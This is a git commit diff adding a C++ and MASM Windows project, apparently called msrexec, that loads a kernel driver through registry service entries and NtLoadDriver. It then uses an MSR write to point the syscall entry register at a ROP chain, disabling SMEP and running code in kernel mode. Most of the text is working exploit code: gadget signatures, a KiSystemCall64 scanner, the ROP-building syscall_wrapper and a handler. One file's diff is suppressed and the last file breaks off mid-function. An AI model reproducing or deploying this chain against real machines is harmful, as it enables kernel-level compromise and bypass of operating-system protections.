parent
c9fc0d08c8
commit
93c45ecec2
@ -0,0 +1,263 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
#include <ntstatus.h>
|
||||
#include <time.h>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||
|
||||
namespace driver
|
||||
{
|
||||
namespace util
|
||||
{
|
||||
inline auto delete_service_entry(const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||
}
|
||||
|
||||
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
reg_key += service_name;
|
||||
|
||||
auto result = RegCreateKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t type_value = 1;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Type",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&type_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t error_control_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ErrorControl",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&error_control_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t start_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Start",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&start_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ImagePath",
|
||||
NULL,
|
||||
REG_SZ,
|
||||
(std::uint8_t*)drv_path.c_str(),
|
||||
drv_path.size()
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
inline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||
{
|
||||
HKEY reg_handle;
|
||||
DWORD bytes_read;
|
||||
char image_path[0xFF];
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
result = RegGetValueA(
|
||||
reg_handle,
|
||||
service_name.c_str(),
|
||||
"ImagePath",
|
||||
REG_SZ,
|
||||
NULL,
|
||||
image_path,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
RegCloseKey(reg_handle);
|
||||
return std::string(image_path);
|
||||
}
|
||||
}
|
||||
|
||||
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||
return false;
|
||||
|
||||
if (!util::create_service_entry("\\??\\" +
|
||||
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||
return false;
|
||||
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
return NtLoadDriver(&driver_reg_path_unicode);
|
||||
}
|
||||
|
||||
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||
{
|
||||
std::srand(std::time(0));
|
||||
static const auto randchar = []() -> char
|
||||
{
|
||||
const char charset[] =
|
||||
"0123456789"
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz";
|
||||
const std::size_t max_index = (sizeof(charset) - 1);
|
||||
return charset[rand() % max_index];
|
||||
};
|
||||
|
||||
std::string str(length, 0);
|
||||
std::generate_n(str.begin(), length, randchar);
|
||||
return str;
|
||||
};
|
||||
|
||||
const auto service_name = random_file_name(16);
|
||||
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||
|
||||
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||
output_file.close();
|
||||
|
||||
return { load(file_path, service_name), service_name };
|
||||
}
|
||||
|
||||
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||
return load(image);
|
||||
}
|
||||
|
||||
inline auto unload(const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(
|
||||
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
|
||||
const bool unload_result =
|
||||
NtUnloadDriver(&driver_reg_path_unicode);
|
||||
|
||||
util::delete_service_entry(service_name);
|
||||
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||
// to the driver, this means the driver is still loaded into the kernel...
|
||||
try
|
||||
{
|
||||
std::filesystem::remove(
|
||||
std::filesystem::temp_directory_path()
|
||||
.string() + service_name);
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
return STATUS_ABANDONED;
|
||||
}
|
||||
return unload_result;
|
||||
}
|
||||
}
|
@ -0,0 +1,37 @@
|
||||
#include "msrexec.hpp"
|
||||
#include "vdm.hpp"
|
||||
#include <iostream>
|
||||
|
||||
int __cdecl main(int argc, char** argv)
|
||||
{
|
||||
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
|
||||
if (drv_status != STATUS_SUCCESS)
|
||||
{
|
||||
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
|
||||
return {};
|
||||
}
|
||||
|
||||
std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n",
|
||||
drv_handle, drv_key.c_str(), drv_status);
|
||||
std::getchar();
|
||||
|
||||
std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
|
||||
std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
|
||||
|
||||
vdm::writemsr_t _write_msr =
|
||||
[&](std::uint32_t reg, std::uintptr_t value) -> void
|
||||
{ vdm::writemsr(reg, value); };
|
||||
|
||||
sizeof write_msr_t;
|
||||
vdm::msrexec_ctx msrexec(_write_msr);
|
||||
msrexec.exec([&]() -> void { int a = 10; });
|
||||
|
||||
const auto unload_result =
|
||||
vdm::unload_drv(drv_handle, drv_key);
|
||||
|
||||
if (unload_result != STATUS_SUCCESS)
|
||||
{
|
||||
std::printf("> unable to unload driver... reason -> 0x%x\n", unload_result);
|
||||
return {};
|
||||
}
|
||||
}
|
@ -0,0 +1,67 @@
|
||||
#include "msrexec.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
|
||||
: wrmsr(wrmsr)
|
||||
{
|
||||
if (!m_mov_cr4_gadget)
|
||||
m_mov_cr4_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
MOV_CR4_GADGET, "xxxx");
|
||||
|
||||
if (!m_sysret_gadget)
|
||||
m_sysret_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
SYSRET_GADGET, "xx");
|
||||
|
||||
if (!m_pop_rcx_gadget)
|
||||
m_pop_rcx_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
POP_RCX_GADGET, "xx") + 2;
|
||||
|
||||
if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
|
||||
return;
|
||||
|
||||
m_smep_off = 0x6F8; // TODO construct cr4 value...
|
||||
m_smep_on = 0x6F8;
|
||||
const auto [section_data, section_rva] =
|
||||
utils::pe::get_section(
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryA("ntoskrnl.exe")), ".text");
|
||||
|
||||
const auto ki_system_call =
|
||||
utils::scan(reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data()), section_data.size(),
|
||||
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
|
||||
|
||||
m_system_call = (ki_system_call -
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data())) + section_rva +
|
||||
utils::kmodule::get_base("ntoskrnl.exe");
|
||||
|
||||
/*
|
||||
.text:0000000140406CC0 KiSystemCall64
|
||||
.text:0000000140406CC0 0F 01 F8 swapgs
|
||||
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
|
||||
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
|
||||
*/
|
||||
|
||||
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
|
||||
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
|
||||
|
||||
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
|
||||
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
|
||||
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
|
||||
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
|
||||
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
|
||||
std::printf("> m_system_call -> 0x%p\n", m_system_call);
|
||||
std::getchar();
|
||||
}
|
||||
|
||||
void msrexec_ctx::exec(callback_t kernel_callback)
|
||||
{
|
||||
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
|
||||
syscall_wrapper();
|
||||
}
|
||||
}
|
@ -0,0 +1,39 @@
|
||||
#pragma once
|
||||
#include "utils.hpp"
|
||||
|
||||
#define IA32_LSTAR_MSR 0xC0000082
|
||||
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
|
||||
#define POP_RCX_GADGET "\x59\xc3"
|
||||
#define SYSRET_GADGET "\x0F\x07"
|
||||
|
||||
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B"
|
||||
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xx"
|
||||
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
|
||||
|
||||
extern "C" std::uint32_t m_kpcr_rsp_offset;
|
||||
extern "C" std::uint32_t m_kpcr_krsp_offset;
|
||||
|
||||
extern "C" std::uintptr_t m_pop_rcx_gadget;
|
||||
extern "C" std::uintptr_t m_mov_cr4_gadget;
|
||||
extern "C" std::uintptr_t m_sysret_gadget;
|
||||
|
||||
extern "C" std::uintptr_t m_smep_on;
|
||||
extern "C" std::uintptr_t m_smep_off;
|
||||
|
||||
extern "C" std::uintptr_t m_system_call;
|
||||
extern "C" void syscall_wrapper();
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
using callback_t = std::function<void()>;
|
||||
using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
|
||||
|
||||
class msrexec_ctx
|
||||
{
|
||||
public:
|
||||
explicit msrexec_ctx(writemsr_t wrmsr);
|
||||
void exec(callback_t kernel_callback);
|
||||
private:
|
||||
writemsr_t wrmsr;
|
||||
};
|
||||
}
|
@ -0,0 +1,104 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="loadup.hpp" />
|
||||
<ClInclude Include="msrexec.hpp" />
|
||||
<ClInclude Include="raw_driver.hpp" />
|
||||
<ClInclude Include="syscall_handler.h" />
|
||||
<ClInclude Include="utils.hpp" />
|
||||
<ClInclude Include="vdm.hpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="msrexec.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="syscall_handler.asm">
|
||||
<FileType>Document</FileType>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{ff98a868-e696-42c7-84cc-d6056ba4dd14}</ProjectGuid>
|
||||
<RootNamespace>msrexec</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -0,0 +1,46 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="loadup.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="raw_driver.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="syscall_handler.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="utils.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="msrexec.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="msrexec.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="syscall_handler.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,73 @@
|
||||
.data
|
||||
; offsets into _KPCR/_KPRCB
|
||||
m_kpcr_rsp_offset dq 0h
|
||||
m_kpcr_krsp_offset dq 0h
|
||||
m_system_call dq 0h
|
||||
|
||||
m_mov_cr4_gadget dq 0h
|
||||
m_sysret_gadget dq 0h
|
||||
m_pop_rcx_gadget dq 0h
|
||||
|
||||
m_smep_on dq 0h
|
||||
m_smep_off dq 0h
|
||||
|
||||
; all of these are setup by the c++ code...
|
||||
public m_smep_on
|
||||
public m_smep_off
|
||||
|
||||
public m_kpcr_rsp_offset
|
||||
public m_kpcr_krsp_offset
|
||||
|
||||
public m_pop_rcx_gadget
|
||||
public m_mov_cr4_gadget
|
||||
public m_sysret_gadget
|
||||
public m_system_call
|
||||
|
||||
.code
|
||||
syscall_handler proc
|
||||
cli ; smep is disabled and LSTAR is still not restored at this point... ; we dont want the thread schedular to smoke us...
|
||||
swapgs ; swap gs to kernel gs, and switch to kernel stack...
|
||||
mov gs:m_kpcr_rsp_offset, rsp
|
||||
mov rsp, gs:m_kpcr_krsp_offset
|
||||
|
||||
push rcx ; push RIP
|
||||
push r11 ; push EFLAGS
|
||||
mov rcx, r10 ; swapped by syscall...
|
||||
|
||||
sub rsp, 020h
|
||||
; call msrexec_handler
|
||||
add rsp, 020h
|
||||
|
||||
pop r11 ; pop EFLAGS
|
||||
pop rcx ; pop RIP
|
||||
mov rsp, gs:m_kpcr_rsp_offset ; restore rsp...
|
||||
swapgs
|
||||
sti ; we will be enabling smep in the next return...
|
||||
mov rax, m_smep_on ; cr4 will be set to rax in the next return...
|
||||
ret
|
||||
syscall_handler endp
|
||||
|
||||
syscall_wrapper proc
|
||||
push r10
|
||||
mov r10, rcx ; rcx contains RIP after syscall instruction is executed...
|
||||
push m_sysret_gadget ; rop to sysret...
|
||||
|
||||
lea rax, finish ; push rip back into rax...
|
||||
push rax
|
||||
push m_pop_rcx_gadget
|
||||
|
||||
push m_mov_cr4_gadget ; enable smep...
|
||||
push m_smep_on
|
||||
push m_pop_rcx_gadget
|
||||
|
||||
lea rax, syscall_handler ; rop from mov cr4 gadget to syscall handler...
|
||||
push rax
|
||||
|
||||
push m_mov_cr4_gadget ; rop from syscall handler to enable smep again...
|
||||
push m_smep_off ; gets pop'ed into rcx by gadget at LSTAR...
|
||||
syscall
|
||||
finish:
|
||||
pop r10
|
||||
ret
|
||||
syscall_wrapper endp
|
||||
end
|
@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
|
||||
extern "C" unsigned long long cr4_value;
|
||||
extern "C" unsigned long kpcr_rsp_offset;
|
||||
extern "C" unsigned long kpcr_krsp_offset;
|
||||
extern "C" void syscall_handler(unsigned long long rip);
|
@ -0,0 +1,377 @@
|
||||
/*
|
||||
WARNING: utils.hpp must be the first file included...
|
||||
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include <functional>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES
|
||||
{
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
|
||||
namespace utils
|
||||
{
|
||||
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
|
||||
{
|
||||
static const auto check_mask =
|
||||
[&](const char* base, const char* pattern, const char* mask) -> bool
|
||||
{
|
||||
for (; *mask; ++base, ++pattern, ++mask)
|
||||
if (*mask == 'x' && *base != *pattern)
|
||||
return false;
|
||||
return true;
|
||||
};
|
||||
|
||||
size -= strlen(mask);
|
||||
for (auto i = 0; i <= size; ++i)
|
||||
{
|
||||
void* addr = (void*)&(((char*)base)[i]);
|
||||
if (check_mask((char*)addr, pattern, mask))
|
||||
return reinterpret_cast<std::uintptr_t>(addr);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline std::uint32_t get_pid(const wchar_t* proc_name)
|
||||
{
|
||||
PROCESSENTRY32 proc_info;
|
||||
proc_info.dwSize = sizeof(proc_info);
|
||||
|
||||
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
Process32First(proc_snapshot, &proc_info);
|
||||
if (!wcscmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
|
||||
while (Process32Next(proc_snapshot, &proc_info))
|
||||
{
|
||||
if (!wcscmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(proc_snapshot);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
namespace kmodule
|
||||
{
|
||||
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
|
||||
inline void each_module(kmodule_callback_t callback)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
